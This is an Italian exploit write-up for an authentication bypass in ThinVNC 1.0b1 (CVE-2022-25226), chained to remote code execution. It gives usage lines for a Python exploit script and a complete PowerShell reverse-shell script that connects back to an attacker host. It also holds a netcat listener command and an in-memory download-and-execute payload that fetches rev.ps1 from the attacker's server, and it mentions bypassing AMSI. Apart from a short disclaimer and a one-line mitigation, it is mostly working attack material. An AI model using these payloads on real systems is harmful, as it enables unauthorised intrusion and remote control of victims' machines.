
ThinVNC 1.0b1 - Bypass dell'autenticazione a RCE
Autore: krill-x7
Riferimento: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 contiene una vulnerabilità di bypass dell'autenticazione (CVE-2022-25226) che consente a malintenzionati remoti di interagire con il backend senza autenticazione. Sfruttando gli endpoint /cmd esposti, gli aggressori possono simulare sequenze di tasti, aprire PowerShell, bypassare AMSI ed eseguire comandi arbitrari, portando infine all'esecuzione remota di codice (RCE).
Questo script combina queste primitive per ottenere una shell inversa sul sistema target.
Questo codice viene fornito solo a scopo educativo.
Usalo esclusivamente su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test.
rev.ps1 ospitato sul tuo computer attaccantepython3 thinvnc_rce.py -t <IP_TARGET> -tp <PORTA_TARGET> -a <IP_ATTACCANTE> -ap <PORTA_ATTACCANTE>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1Salva questo contenuto in un file chiamato rev.ps1.
Importante: Sostituisci 192.168.1.200 e 8000 con l'IP e la porta di ascolto del tuo computer attaccante.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1Dalla stessa directory:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Ctrl+Esc per aprire il menu Start.Questo è il payload che viene eseguito in memoria:
IEX((New-Object System.Net.WebClient).DownloadString('http://<IP_ATTACCANTE>:<PORTA>/rev.ps1'))
Sostituisci <IP_ATTACCANTE> e <PORTA> con il tuo IP e porta reali.
/cmd tramite configurazione del server web o WAF.